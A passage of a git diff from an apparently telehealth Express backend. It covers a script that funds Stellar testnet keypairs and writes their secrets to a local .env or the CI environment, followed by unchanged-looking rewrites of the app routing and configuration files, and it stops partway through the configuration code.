Error(`Friendbot funding failed for ${publicKey} after ${attempts} attempt(s) (${lastFailure}).`); +} + +const payer = Keypair.random(); +const releaser = Keypair.random(); + +await fund(payer.publicKey()); +await fund(releaser.publicKey()); + +const envLines = [ + `PLATFORM_PAYER_SECRET=${payer.secret()}`, + `PLATFORM_PAYER_PUBLIC_KEY=${payer.publicKey()}`, + `PLATFORM_RELEASER_SECRET=${releaser.secret()}`, + `PLATFORM_RELEASER_PUBLIC_KEY=${releaser.publicKey()}`, +].join("\n"); + +if (process.env.GITHUB_ENV) { + process.stdout.write(`::add-mask::${payer.secret()}\n::add-mask::${releaser.secret()}\n`); + fs.appendFileSync(process.env.GITHUB_ENV, `${envLines}\n`); + console.log("Funded fresh testnet identities for this workflow run."); +} else { + fs.appendFileSync( + ENV_PATH, + ["", "# Generated by scripts/gen-platform-identities.mjs β€” testnet only, never commit.", envLines, ""].join("\n"), + ); + console.log("Funded and wrote secrets to .env (not printed here). Public keys:"); + console.log(" payer: ", payer.publicKey()); + console.log(" releaser:", releaser.publicKey()); +} diff --git a/backend/src/admin-overview-sections.ts b/backend/src/admin-overview-sections.ts index 20a39f2b..7825a25e 100644 --- a/backend/src/admin-overview-sections.ts +++ b/backend/src/admin-overview-sections.ts @@ -1,28 +1,28 @@ -// Composition root for the admin overview (Phase 8, issue #123). Each module -// owns its section in its services/; this file is the explicit list of what -// the overview shows, so adding a queue is one line here. Lives outside -// modules/ because it is wiring, not business logic. -// -// Not yet contributed: payments stuck in intermediate states, failed jobs, -// referrals pending too long, orders not routed to a facility. Each needs a -// count-and-age service in its own module before it can be listed here. -import { doctorVerificationQueueCounts } from './modules/doctors/services'; -import { - createOverviewCache, - runOverviewSections, - type AdminOverview, - type AdminOverviewSectionDefinition, -} from './utils/admin-overview'; - -const SECTIONS: AdminOverviewSectionDefinition[] = [ - { - key: 'doctor-verification', - label: 'Doctors awaiting verification', - drillDownPath: '/doctors?verificationStatus=pending', - run: doctorVerificationQueueCounts, - }, -]; - -export const getAdminOverview = createOverviewCache(() => runOverviewSections(SECTIONS)); - -export type { AdminOverview }; +// Composition root for the admin overview (Phase 8, issue #123). Each module +// owns its section in its services/; this file is the explicit list of what +// the overview shows, so adding a queue is one line here. Lives outside +// modules/ because it is wiring, not business logic. +// +// Not yet contributed: payments stuck in intermediate states, failed jobs, +// referrals pending too long, orders not routed to a facility. Each needs a +// count-and-age service in its own module before it can be listed here. +import { doctorVerificationQueueCounts } from './modules/doctors/services'; +import { + createOverviewCache, + runOverviewSections, + type AdminOverview, + type AdminOverviewSectionDefinition, +} from './utils/admin-overview'; + +const SECTIONS: AdminOverviewSectionDefinition[] = [ + { + key: 'doctor-verification', + label: 'Doctors awaiting verification', + drillDownPath: '/doctors?verificationStatus=pending', + run: doctorVerificationQueueCounts, + }, +]; + +export const getAdminOverview = createOverviewCache(() => runOverviewSections(SECTIONS)); + +export type { AdminOverview }; diff --git a/backend/src/app.ts b/backend/src/app.ts index 8784c033..6a5101c4 100644 --- a/backend/src/app.ts +++ b/backend/src/app.ts @@ -1,92 +1,92 @@ -import express from 'express'; -import cors from 'cors'; -import cookieParser from 'cookie-parser'; -import { config } from './config'; -import { errorHandler } from './middleware/error-handler'; -import { adminAuthRouter, authRouter } from './modules/auth/routes'; -import { doctorsRouter, specialtiesRouter } from './modules/doctors/routes'; -import { availabilityRouter } from './modules/availability/routes'; -import { appointmentsRouter } from './modules/appointments/routes'; -import { appointmentConsultationsRouter, consultationsRouter } from './modules/consultations/routes'; -import { ordersRouter } from './modules/orders/routes'; -import { adminOrdersRouter } from './modules/orders/routes/admin'; -import { pharmacyOrdersRouter } from './modules/pharmacy-orders/routes'; -import { labOrdersRouter } from './modules/lab-orders/routes'; -import { paymentsRouter } from './modules/payments/routes'; -import { patientsRouter } from './modules/patients/routes'; -import { facilitiesRouter } from './modules/facilities/routes'; -import { adminRouter } from './modules/users/routes'; -import { registerPatientExportSections } from './export-sections'; -import { auditRouter, adminAuditRouter, patientAuditRouter } from './modules/audit/routes'; -import { escrowEventsRouter } from './modules/payments/routes/escrow-events'; -import { requestId } from './middleware/request-id'; -import { referralsRouter } from './modules/referrals/routes'; -import { notificationsRouter } from './modules/notifications/routes'; -import { registerRetentionHolds } from './retention-holds'; - -export function createApp() { - const app = express(); - - // Phase 8, issue #40: idempotent, so building the app twice is harmless. - registerPatientExportSections(); - // Phase 8, issue #41: idempotent, so building the app twice is harmless. - registerRetentionHolds(); - - // Phase 8, issue #35: login throttling keys on the client IP, so the - // proxy chain has to be resolved deliberately rather than guessed. See - // config.trustProxy for why neither `true` nor the default is safe here. - app.set('trust proxy', config.trustProxy); - - // Explicit allowlist per environment (Phase 8, issue #37) β€” see - // config.corsOrigins. `credentials: true` is required for the refresh - // cookie and is exactly why the allowlist can't be a wildcard. - // Phase 8, issue #43: first, so every response (errors included) carries - // an X-Request-Id and audit events can be tied back to it. Phase 9, - // issue #46: the same middleware attaches a request-scoped child logger - // (`req.log`) so every log line in a request can be greped by that id. - app.use(requestId); - app.use(cors({ origin: config.corsOrigins, credentials: true })); - app.use(express.json()); - app.use(cookieParser()); - - app.get('/health', (_req, res) => res.status(200).json({ status: 'ok' })); - - app.use('/auth', authRouter); - // Admin surface. Currently only the auth module's session administration - // (Phase 8 #38) β€” other modules' admin routes can hang off the same mount. - app.use('/admin', adminAuthRouter); - app.use('/doctors', doctorsRouter); - app.use('/specialties', specialtiesRouter); - app.use('/availability', availabilityRouter); - app.use('/appointments', appointmentsRouter); - // Closing a consultation is addressable from the appointment it belongs to - // (POST /appointments/:appointmentId/consultation) as well as from - // /consultations below β€” same service, one write path. - app.use('/appointments', appointmentConsultationsRouter); - app.use('/orders', ordersRouter); - app.use('/pharmacy-orders', pharmacyOrdersRouter); - app.use('/lab-orders', labOrdersRouter); - app.use('/admin', adminOrdersRouter); - app.use('/payments', paymentsRouter); - app.use('/patients', patientsRouter); - app.use('/facilities', facilitiesRouter); - // Phase 8, issue #39 β€” admin account lifecycle (invites, deactivate/ - // reactivate) alongside the audit read path. Different paths, no overlap. - app.use('/admin', adminRouter); - app.use('/admin', auditRouter); - app.use('/admin/payments', escrowEventsRouter); - - // PHI read-access logging (Phase 8, issue #45). Mounted at root so the - // paths match the issue's spec exactly: /admin/access-logs, /patients/me/access-log. - app.use('/admin', adminAuditRouter); - app.use('/patients', patientAuditRouter); - app.use('/referrals', referralsRouter); - app.use('/notifications', notificationsRouter); - app.use('/consultations', consultationsRouter); - - // Must be registered last β€” Express only routes errors here once every - // other handler has had a chance to run. - app.use(errorHandler); - - return app; -} +import express from 'express'; +import cors from 'cors'; +import cookieParser from 'cookie-parser'; +import { config } from './config'; +import { errorHandler } from './middleware/error-handler'; +import { adminAuthRouter, authRouter } from './modules/auth/routes'; +import { doctorsRouter, specialtiesRouter } from './modules/doctors/routes'; +import { availabilityRouter } from './modules/availability/routes'; +import { appointmentsRouter } from './modules/appointments/routes'; +import { appointmentConsultationsRouter, consultationsRouter } from './modules/consultations/routes'; +import { ordersRouter } from './modules/orders/routes'; +import { adminOrdersRouter } from './modules/orders/routes/admin'; +import { pharmacyOrdersRouter } from './modules/pharmacy-orders/routes'; +import { labOrdersRouter } from './modules/lab-orders/routes'; +import { paymentsRouter } from './modules/payments/routes'; +import { patientsRouter } from './modules/patients/routes'; +import { facilitiesRouter } from './modules/facilities/routes'; +import { adminRouter } from './modules/users/routes'; +import { registerPatientExportSections } from './export-sections'; +import { auditRouter, adminAuditRouter, patientAuditRouter } from './modules/audit/routes'; +import { escrowEventsRouter } from './modules/payments/routes/escrow-events'; +import { requestId } from './middleware/request-id'; +import { referralsRouter } from './modules/referrals/routes'; +import { notificationsRouter } from './modules/notifications/routes'; +import { registerRetentionHolds } from './retention-holds'; + +export function createApp() { + const app = express(); + + // Phase 8, issue #40: idempotent, so building the app twice is harmless. + registerPatientExportSections(); + // Phase 8, issue #41: idempotent, so building the app twice is harmless. + registerRetentionHolds(); + + // Phase 8, issue #35: login throttling keys on the client IP, so the + // proxy chain has to be resolved deliberately rather than guessed. See + // config.trustProxy for why neither `true` nor the default is safe here. + app.set('trust proxy', config.trustProxy); + + // Explicit allowlist per environment (Phase 8, issue #37) β€” see + // config.corsOrigins. `credentials: true` is required for the refresh + // cookie and is exactly why the allowlist can't be a wildcard. + // Phase 8, issue #43: first, so every response (errors included) carries + // an X-Request-Id and audit events can be tied back to it. Phase 9, + // issue #46: the same middleware attaches a request-scoped child logger + // (`req.log`) so every log line in a request can be greped by that id. + app.use(requestId); + app.use(cors({ origin: config.corsOrigins, credentials: true })); + app.use(express.json()); + app.use(cookieParser()); + + app.get('/health', (_req, res) => res.status(200).json({ status: 'ok' })); + + app.use('/auth', authRouter); + // Admin surface. Currently only the auth module's session administration + // (Phase 8 #38) β€” other modules' admin routes can hang off the same mount. + app.use('/admin', adminAuthRouter); + app.use('/doctors', doctorsRouter); + app.use('/specialties', specialtiesRouter); + app.use('/availability', availabilityRouter); + app.use('/appointments', appointmentsRouter); + // Closing a consultation is addressable from the appointment it belongs to + // (POST /appointments/:appointmentId/consultation) as well as from + // /consultations below β€” same service, one write path. + app.use('/appointments', appointmentConsultationsRouter); + app.use('/orders', ordersRouter); + app.use('/pharmacy-orders', pharmacyOrdersRouter); + app.use('/lab-orders', labOrdersRouter); + app.use('/admin', adminOrdersRouter); + app.use('/payments', paymentsRouter); + app.use('/patients', patientsRouter); + app.use('/facilities', facilitiesRouter); + // Phase 8, issue #39 β€” admin account lifecycle (invites, deactivate/ + // reactivate) alongside the audit read path. Different paths, no overlap. + app.use('/admin', adminRouter); + app.use('/admin', auditRouter); + app.use('/admin/payments', escrowEventsRouter); + + // PHI read-access logging (Phase 8, issue #45). Mounted at root so the + // paths match the issue's spec exactly: /admin/access-logs, /patients/me/access-log. + app.use('/admin', adminAuditRouter); + app.use('/patients', patientAuditRouter); + app.use('/referrals', referralsRouter); + app.use('/notifications', notificationsRouter); + app.use('/consultations', consultationsRouter); + + // Must be registered last β€” Express only routes errors here once every + // other handler has had a chance to run. + app.use(errorHandler); + + return app; +} diff --git a/backend/src/config/index.ts b/backend/src/config/index.ts index 102952c9..8e8a9d44 100644 --- a/backend/src/config/index.ts +++ b/backend/src/config/index.ts @@ -1,311 +1,311 @@ -import 'dotenv/config'; -import { parsePaymentsConfig } from './payments'; - -const payoutPrivacyMode = process.env.PAYOUT_PRIVACY_MODE ?? 'facility'; -if (payoutPrivacyMode !== 'facility' && payoutPrivacyMode !== 'pooled') { - throw new Error('PAYOUT_PRIVACY_MODE must be either "facility" or "pooled".'); -} - -/** A strictly positive number from an env var, else the default. A typo like - * `REFERRAL_PENDING_TTL_DAYS=0` must not silently expire every referral. */ -function positiveNumber(raw: string | undefined, fallback: number): number { - const value = Number(raw); - return raw !== undefined && raw !== '' && Number.isFinite(value) && value > 0 ? value : fallback; -} - -function requireEnv(name: string): string { - const value = process.env[name]; - if (!value) throw new Error(`Missing required env var: ${name}`); - return value; -} - -/** `TRUST_PROXY` accepts what Express accepts: `true`/`false`, a hop count - * (`1`), or a preset string (`loopback`). Absent, it defaults to `false` - * everywhere except production, where a proxy is assumed in front. */ -function parseTrustProxy(raw: string | undefined, isProduction: boolean): boolean | number | string { - if (raw === undefined || raw === '') return isProduction ? 1 : false; - if (raw === 'true') return true; - if (raw === 'false') return false; - if (/^\d+$/.test(raw)) return Number(raw); - return raw; -} - -/** A payment asset the escrow may be denominated in (issue #79). The - * contract id is the Stellar Asset Contract address the escrow pulls from; - * `decimals` is informational for clients (every amount in this API is - * already in the asset's smallest unit, so the server never scales one). */ -export interface PaymentAsset { - code: string; - tokenContractId: string; - decimals: number; - /** Set for issued assets (e.g. USDC). Native XLM has none and needs no - * trustline; every issued asset's payee must have one before funding. */ - issuer?: string; -} - -// Testnet defaults. Override per environment with PAYMENT_ASSETS; production -// must set it explicitly (mainnet contract ids differ). Only assets without -// clawback, transfer fees or rebasing belong in the allowlist β€” escrow -// threat model T5 β€” and the parser refuses entries that opt into clawback or -// rebasing. This is a curated policy list, not an on-chain capability probe. -const TESTNET_NATIVE_SAC = 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC'; -const TESTNET_USDC_SAC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; -const TESTNET_USDC_ISSUER = 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5'; - -const STELLAR_CONTRACT_ID = /^C[A-Z2-7]{55}$/; -const STELLAR_PUBLIC_KEY = /^G[A-Z2-7]{55}$/; - -function parsePaymentAssets(raw: string | undefined): PaymentAsset[] { - const fallback: PaymentAsset[] = [ - { code: 'XLM', tokenContractId: process.env.ESCROW_TOKEN_ID ?? TESTNET_NATIVE_SAC, decimals: 7 }, - { - code: 'USDC', - tokenContractId: TESTNET_USDC_SAC, - decimals: 7, - issuer: TESTNET_USDC_ISSUER, - }, - ]; - if (!raw) return fallback; - - let parsed: unknown; - try { - parsed = JSON.parse(raw); - } catch { - throw new Error('PAYMENT_ASSETS must be a JSON array of { code, tokenContractId, decimals, issuer? }.'); - } - if (!Array.isArray(parsed) || parsed.length === 0) { - throw new Error('PAYMENT_ASSETS must be a non-empty JSON array.'); - } - const seen = new Set(); - return parsed.map((entry, index) => { - if (typeof entry !== 'object' || entry === null) throw new Error(`PAYMENT_ASSETS[${index}] must be an object.`); - const { code, tokenContractId, decimals, issuer, clawback, rebase } = entry as Record; - if (clawback === true || rebase === true) { - throw new Error(`PAYMENT_ASSETS[${index}] opts into clawback/rebasing, which the escrow allowlist forbids (T5).`); - } - if (typeof code !== 'string' || !/^[A-Z0-9]{1,12}$/.test(code)) { - throw new Error(`PAYMENT_ASSETS[${index}].code must be 1-12 uppercase alphanumeric characters.`); - } - if (seen.has(code)) throw new Error(`PAYMENT_ASSETS contains duplicate asset code ${code}.`); - seen.add(code); - if (typeof tokenContractId !== 'string' || !STELLAR_CONTRACT_ID.test(tokenContractId)) { - throw new Error(`PAYMENT_ASSETS[${index}].tokenContractId must be a Stellar contract id.`); - } - if (typeof decimals !== 'number' || !Number.isInteger(decimals) || decimals < 0 || decimals > 18) { - throw new Error(`PAYMENT_ASSETS[${index}].decimals must be an integer between 0 and 18.`); - } - if (issuer !== undefined && (typeof issuer !== 'string' || !STELLAR_PUBLIC_KEY.test(issuer))) { - throw new Error(`PAYMENT_ASSETS[${index}].issuer must be a Stellar public key.`); - } - return { code, tokenContractId, decimals, ...(issuer ? { issuer } : {}) }; - }); -} - -const PRODUCTION_CORS_ORIGINS = ['https://docforum.github.io']; -const LOCAL_DEV_CORS_ORIGINS = ['http://localhost:5173', 'http://127.0.0.1:5173']; - -function parseCorsOrigins(raw: string | undefined, isProduction: boolean): string[] { - if (!raw) return isProduction ? PRODUCTION_CORS_ORIGINS : LOCAL_DEV_CORS_ORIGINS; - return raw - .split(',') - .map((origin) => origin.trim()) - .filter((origin) => origin.length > 0); -} - -export const config = { - port: Number(process.env.PORT ?? 4000), - databaseUrl: requireEnv('DATABASE_URL'), - jwt: { - accessSecret: requireEnv('JWT_ACCESS_SECRET'), - refreshSecret: requireEnv('JWT_REFRESH_SECRET'), - // Short-lived access token; refresh token is the long-lived one. - // No revocation list yet for either β€” see ARCHITECTURE_ESSENTIALS.md - // "Known unresolved design gaps" (JWT refresh rotation without a - // revocation list). A stolen refresh token has no clean kill switch - // until that's built (Phase 8). - accessTtl: '15m', - refreshTtl: '30d', - }, - // Base URL of docforum-web, used to build the link in outbound - // notifications (password reset today). Not a provider decision β€” see - // issue #17 β€” just the URL the recipient is sent to. - appBaseUrl: process.env.APP_BASE_URL ?? 'http://localhost:5173', - passwordReset: { - // Raw tokens are single-use and short-lived; only their SHA-256 hash - // is stored (see PasswordResetToken in schema.prisma). - tokenTtlMinutes: Number(process.env.PASSWORD_RESET_TOKEN_TTL_MINUTES ?? 30), - // Rate limits on POST /auth/password-reset/request, so the endpoint - // can't be used to spam an inbox. Applied per email AND per IP β€” - // either limit being hit returns 429. See auth/services/rate-limit.ts - // for the (in-memory, single-process) caveat. - requestsPerEmailPerHour: Number(process.env.PASSWORD_RESET_REQUESTS_PER_EMAIL_PER_HOUR ?? 3), - requestsPerIpPerHour: Number(process.env.PASSWORD_RESET_REQUESTS_PER_IP_PER_HOUR ?? 10), - }, - // Phase 8 hardening knobs (issues #34/#35/#37). Env-configurable so a - // preview deployment can be tightened without a code change, and so - // tests can set short windows instead of waiting real minutes. - auth: { - emailVerification: { - // How long a verification link stays usable. - tokenTtlMinutes: Number(process.env.EMAIL_VERIFICATION_TOKEN_TTL_MINUTES ?? 24 * 60), - // Minimum gap between two "resend verification email" requests for - // the same account (a resend is otherwise an open email-flooding - // button). - resendIntervalSeconds: Number(process.env.EMAIL_VERIFICATION_RESEND_INTERVAL_SECONDS ?? 60), - // Base URL the verification link points at. docforum-web owns the - // page that consumes `?token=`; this is just where we send people. - landingUrl: process.env.EMAIL_VERIFICATION_LANDING_URL ?? 'http://localhost:5173/verify-email', - }, - }, - // Express's `trust proxy` setting (Phase 8, issue #35). Login throttling - // keys off the client IP, and a wrong setting here is a security bug in - // both directions: - // - too trusting (`true`) means a client can spoof `X-Forwarded-For` - // and get a fresh throttle bucket per request; - // - not trusting at all means every request looks like it came from - // Render's proxy β€” one shared bucket for the whole internet. - // Default: local dev has no proxy in front (false). Production is set by - // the deployment (Render terminates TLS in front of exactly one hop), so - // set TRUST_PROXY explicitly there; `1` is the value that matches it. - trustProxy: parseTrustProxy(process.env.TRUST_PROXY, process.env.NODE_ENV === 'production'), - loginThrottle: { - // Sliding window: failures older than this don't count toward a lock. - windowSeconds: Number(process.env.LOGIN_THROTTLE_WINDOW_SECONDS ?? 15 * 60), - // After this many failures (still inside the window) start refusing with - // Retry-After, growing exponentially. Deliberately below the lock - // threshold: slow them down before locking them out. - backoffAfterFailures: Number(process.env.LOGIN_THROTTLE_BACKOFF_AFTER ?? 3), - backoffBaseSeconds: Number(process.env.LOGIN_THROTTLE_BACKOFF_BASE_SECONDS ?? 2), - backoffMaxSeconds: Number(process.env.LOGIN_THROTTLE_BACKOFF_MAX_SECONDS ?? 300), - // The actual lock, applied per normalised email (and per IP). - lockAfterFailures: Number(process.env.LOGIN_THROTTLE_LOCK_AFTER ?? 10), - lockSeconds: Number(process.env.LOGIN_THROTTLE_LOCK_SECONDS ?? 15 * 60), - // Cleanup job (src/server.ts): how often to run, and how old a bucket's - // last failure has to be before its row is dropped. - pruneIntervalSeconds: Number(process.env.LOGIN_THROTTLE_PRUNE_INTERVAL_SECONDS ?? 60 * 60), - pruneAfterSeconds: Number(process.env.LOGIN_THROTTLE_PRUNE_AFTER_SECONDS ?? 24 * 60 * 60), - }, - // PHI read-access log (Phase 8, issue #45). How long AccessLog rows are - // kept before the prune job (src/server.ts) deletes them. Reads are far - // higher volume than AuditEvent writes, so this gets its own, shorter - // retention instead of AuditEvent's append-forever lifetime. - accessLog: { - retentionDays: Number(process.env.ACCESS_LOG_RETENTION_DAYS ?? 365), - }, - // Patient data export (Phase 8, issue #40). Env-configurable so a - // deployment can tune retention and memory bounds without a code change. - patientExport: { - // How long a `ready` export stays downloadable before the cleanup job - // deletes its artifact. Downloads are refused at expiry even if cleanup - // hasn't run yet. - ttlHours: Number(process.env.PATIENT_EXPORT_TTL_HOURS ?? 24), - // Rows fetched per section page while generating β€” the memory bound on - // the read side. - pageSize: Number(process.env.PATIENT_EXPORT_PAGE_SIZE ?? 200), - // Target size of one stored artifact chunk β€” the memory bound on the - // write side and on download (one chunk is in memory at a time). - chunkBytes: Number(process.env.PATIENT_EXPORT_CHUNK_BYTES ?? 256 * 1024), - // Worker cadence (src/jobs/patient-exports.ts). A new request also - // wakes the worker immediately; the interval is the restart/backlog - // safety net. - workerIntervalSeconds: Number(process.env.PATIENT_EXPORT_WORKER_INTERVAL_SECONDS ?? 15), - cleanupIntervalSeconds: Number(process.env.PATIENT_EXPORT_CLEANUP_INTERVAL_SECONDS ?? 5 * 60), - // A `processing` job whose claim is older than this is presumed dead - // (process crashed mid-generation) and is retried, up to maxAttempts. - staleAfterSeconds: Number(process.env.PATIENT_EXPORT_STALE_AFTER_SECONDS ?? 15 * 60), - maxAttempts: Number(process.env.PATIENT_EXPORT_MAX_ATTEMPTS ?? 3), - }, - - // Account deletion purge (Phase 8, issue #41, docs/adr/0010). Only - // tombstones with no retained records are ever purged; the grace period is - // operational (lets requests in flight under a still-valid access token - // finish), not a legal retention period β€” that one is an open decision. - accountPurge: { - graceHours: Number(process.env.ACCOUNT_PURGE_GRACE_HOURS ?? 24), - intervalSeconds: Number(process.env.ACCOUNT_PURGE_INTERVAL_SECONDS ?? 6 * 60 * 60), - }, - // Referral expiry (Phase 3, issue #8). A referral still `pending` this - // long after it was created β€” or after it last returned to `pending` β€” - // is moved to the terminal `expired` state by an interval sweep - // (src/jobs/referral-expiry.ts). A v1 default, not a tuned value. - referrals: { - pendingTtlDays: positiveNumber(process.env.REFERRAL_PENDING_TTL_DAYS, 14), - expirySweepIntervalSeconds: positiveNumber(process.env.REFERRAL_EXPIRY_SWEEP_INTERVAL_SECONDS, 60 * 60), - }, - // Guardians and dependents (Phase 8, issue #42, docs/adr/0011). Guardian - // access ends automatically when the dependent reaches this age (UTC - // calendar date, checked at request time). - patients: { - ageOfMajorityYears: Number(process.env.AGE_OF_MAJORITY_YEARS ?? 18), - }, - // Explicit, per-environment CORS allowlist (Phase 8, issue #37). A single - // configured origin string was one typo away from "reflect whatever origin - // asked"; an allowlist makes every permitted frontend a deliberate entry. - // `CORS_ORIGINS` (comma-separated) is the preferred form; `CORS_ORIGIN` is - // still honoured as a single-origin setting so the existing Render - // configuration (docs/adr/0003) keeps working unchanged. - corsOrigins: parseCorsOrigins( - process.env.CORS_ORIGINS ?? process.env.CORS_ORIGIN, - process.env.NODE_ENV === 'production', - ), - cookie: { - // The refresh cookie is `SameSite=None; Secure` in production because - // docforum-web (GitHub Pages) and this API (Render) are genuinely - // different sites β€” see docs/adr/0003. `Secure` needs HTTPS, which local - // dev over plain http doesn't have, hence the NODE_ENV branch. Shared - // with the CSRF cookie so the two can never drift apart. - secure: process.env.NODE_ENV === 'production', - sameSite: process.env.NODE_ENV === 'production' ? ('none' as const) : ('lax' as const), - path: '/', - }, - // Admin invites (Phase 8, issue #39). `acceptUrl` is where the invite link - // points β€” docforum-web owns the page that consumes `?token=`. - adminInvites: { - ttlHours: Number(process.env.ADMIN_INVITE_TTL_HOURS ?? 72), - acceptUrl: process.env.ADMIN_INVITE_ACCEPT_URL ?? 'http://localhost:5173/accept-admin-invite', - }, - orders: { - confirmationWindowHours: Number(process.env.ORDER_CONFIRMATION_WINDOW_HOURS ?? 72), - expiryIntervalSeconds: Number(process.env.ORDER_EXPIRY_INTERVAL_SECONDS ?? 300), - }, - payments: { - ...parsePaymentsConfig(process.env), - // Issue #79: per-environment asset allowlist (USDC + native XLM by - // default on testnet). The legacy `escrowTokenId`/`assetAllowlist` - // fields above remain for the pre-#79 native-XLM path. - assets: parsePaymentAssets(process.env.PAYMENT_ASSETS), - // Horizon is read only for payee trustline checks β€” never for contract - // calls, which go through the SDK. - horizonUrl: process.env.HORIZON_URL ?? 'https://horizon-testnet.stellar.org', - // Issue #80: how long a prepared, unsigned create_escrow transaction is - // considered live before the expiry job returns the intent to `created`. - prepareTtlSeconds: Number(process.env.PAYMENT_PREPARE_TTL_SECONDS ?? 5 * 60), - // ADR 0005: refund_after = order expiry + grace. Orders are still - // placeholders without an expiry field (Phase 4), so the intent's own - // createdAt is the order-expiry anchor today. - orderExpiryHours: Number(process.env.PAYMENT_ORDER_EXPIRY_HOURS ?? 72), - refundGraceHours: Number(process.env.PAYMENT_REFUND_GRACE_HOURS ?? 24), - // Expiry sweep cadence (src/jobs/payment-intents.ts). - prepareExpirySweepIntervalSeconds: Number(process.env.PAYMENT_PREPARE_EXPIRY_SWEEP_INTERVAL_SECONDS ?? 60), - payoutPrivacyMode, - payoutPrivacyPoolAddress: process.env.PAYOUT_PRIVACY_POOL_ADDRESS, - }, - // SEP-10 Stellar Web Authentication (issue #77, ADR 0005 step 4). - sep10: { - signingSecret: process.env.SEP10_SIGNING_SECRET, - homeDomain: process.env.SEP10_HOME_DOMAIN, - webAuthDomain: process.env.SEP10_WEB_AUTH_DOMAIN, - networkPassphrase: process.env.SEP10_NETWORK_PASSPHRASE ?? 'Test SDF Network ; September 2015', - horizonUrl: process.env.SEP10_HORIZON_URL ?? 'https://horizon-testnet.stellar.org', - challengeTimeoutSeconds: Number(process.env.SEP10_CHALLENGE_TIMEOUT_SECONDS ?? 300), - }, - // Structured logging (Phase 9). Level is configurable per environment; - // tests run quiet by default so captured output stays readable. - log: { - level: - process.env.LOG_LEVEL ?? - (process.env.NODE_ENV === 'test' ? 'silent' : process.env.NODE_ENV === 'production' ? 'info' : 'debug'), - // Header carrying the request id; accepted from the client or generated. - requestIdHeader: 'x-request-id', - }, -} as const; +import 'dotenv/config'; +import { parsePaymentsConfig } from './payments'; + +const payoutPrivacyMode = process.env.PAYOUT_PRIVACY_MODE ?? 'facility'; +if (payoutPrivacyMode !== 'facility' && payoutPrivacyMode !== 'pooled') { + throw new Error('PAYOUT_PRIVACY_MODE must be either "facility" or "pooled".'); +} + +/** A strictly positive number from an env var, else the default. A typo like + * `REFERRAL_PENDING_TTL_DAYS=0` must not silently expire every referral. */ +function positiveNumber(raw: string | undefined, fallback: number): number { + const value = Number(raw); + return raw !== undefined && raw !== '' && Number.isFinite(value) && value > 0 ? value : fallback; +} + +function requireEnv(name: string): string { + const value = process.env[name]; + if (!value) throw new Error(`Missing required env var: ${name}`); + return value; +} + +/** `TRUST_PROXY` accepts what Express accepts: `true`/`false`, a hop count + * (`1`), or a preset string (`loopback`). Absent, it defaults to `false` + * everywhere except production, where a proxy is assumed in front. */ +function parseTrustProxy(raw: string | undefined, isProduction: boolean): boolean | number | string { + if (raw === undefined || raw === '') return isProduction ? 1 : false; + if (raw === 'true') return true; + if (raw === 'false') return false; + if (/^\d+$/.test(raw)) return Number(raw); + return raw; +} + +/** A payment asset the escrow may be denominated in (issue #79). The + * contract id is the Stellar Asset Contract address the escrow pulls from; + * `decimals` is informational for clients (every amount in this API is + * already in the asset's smallest unit, so the server never scales one). */ +export interface PaymentAsset { + code: string; + tokenContractId: string; + decimals: number; + /** Set for issued assets (e.g. USDC). Native XLM has none and needs no + * trustline; every issued asset's payee must have one before funding. */ + issuer?: string; +} + +// Testnet defaults. Override per environment with PAYMENT_ASSETS; production +// must set it explicitly (mainnet contract ids differ). Only assets without +// clawback, transfer fees or rebasing belong in the allowlist β€” escrow +// threat model T5 β€” and the parser refuses entries that opt into clawback or +// rebasing. This is a curated policy list, not an on-chain capability probe. +const TESTNET_NATIVE_SAC = 'CDLZFC3SYJYDZT7K67VZ75HPJVIEUVNIXF47ZG2FB2RMQQVU2HHGCYSC'; +const TESTNET_USDC_SAC = 'CBIELTK6YBZJU5UP2WWQEUCYKLPU6AUNZ2BQ4WWFEIE3USCIHMXQDAMA'; +const TESTNET_USDC_ISSUER = 'GBBD47IF6LWK7P7MDEVSCWR7DPUWV3NY3DTQEVFL4NAT4AQH3ZLLFLA5'; + +const STELLAR_CONTRACT_ID = /^C[A-Z2-7]{55}$/; +const STELLAR_PUBLIC_KEY = /^G[A-Z2-7]{55}$/; + +function parsePaymentAssets(raw: string | undefined): PaymentAsset[] { + const fallback: PaymentAsset[] = [ + { code: 'XLM', tokenContractId: process.env.ESCROW_TOKEN_ID ?? TESTNET_NATIVE_SAC, decimals: 7 }, + { + code: 'USDC', + tokenContractId: TESTNET_USDC_SAC, + decimals: 7, + issuer: TESTNET_USDC_ISSUER, + }, + ]; + if (!raw) return fallback; + + let parsed: unknown; + try { + parsed = JSON.parse(raw); + } catch { + throw new Error('PAYMENT_ASSETS must be a JSON array of { code, tokenContractId, decimals, issuer? }.'); + } + if (!Array.isArray(parsed) || parsed.length === 0) { + throw new Error('PAYMENT_ASSETS must be a non-empty JSON array.'); + } + const seen = new Set(); + return parsed.map((entry, index) => { + if (typeof entry !== 'object' || entry === null) throw new Error(`PAYMENT_ASSETS[${index}] must be an object.`); + const { code, tokenContractId, decimals, issuer, clawback, rebase } = entry as Record; + if (clawback === true || rebase === true) { + throw new Error(`PAYMENT_ASSETS[${index}] opts into clawback/rebasing, which the escrow allowlist forbids (T5).`); + } + if (typeof code !== 'string' || !/^[A-Z0-9]{1,12}$/.test(code)) { + throw new Error(`PAYMENT_ASSETS[${index}].code must be 1-12 uppercase alphanumeric characters.`); + } + if (seen.has(code)) throw new Error(`PAYMENT_ASSETS contains duplicate asset code ${code}.`); + seen.add(code); + if (typeof tokenContractId !== 'string' || !STELLAR_CONTRACT_ID.test(tokenContractId)) { + throw new Error(`PAYMENT_ASSETS[${index}].tokenContractId must be a Stellar contract id.`); + } + if (typeof decimals !== 'number' || !Number.isInteger(decimals) || decimals < 0 || decimals > 18) { + throw new Error(`PAYMENT_ASSETS[${index}].decimals must be an integer between 0 and 18.`); + } + if (issuer !== undefined && (typeof issuer !== 'string' || !STELLAR_PUBLIC_KEY.test(issuer))) { + throw new Error(`PAYMENT_ASSETS[${index}].issuer must be a Stellar public key.`); + } + return { code, tokenContractId, decimals, ...(issuer ? { issuer } : {}) }; + }); +} + +const PRODUCTION_CORS_ORIGINS = ['https://docforum.github.io']; +const LOCAL_DEV_CORS_ORIGINS = ['http://localhost:5173', 'http://127.0.0.1:5173']; + +function parseCorsOrigins(raw: string | undefined, isProduction: boolean): string[] { + if (!raw) return isProduction ? 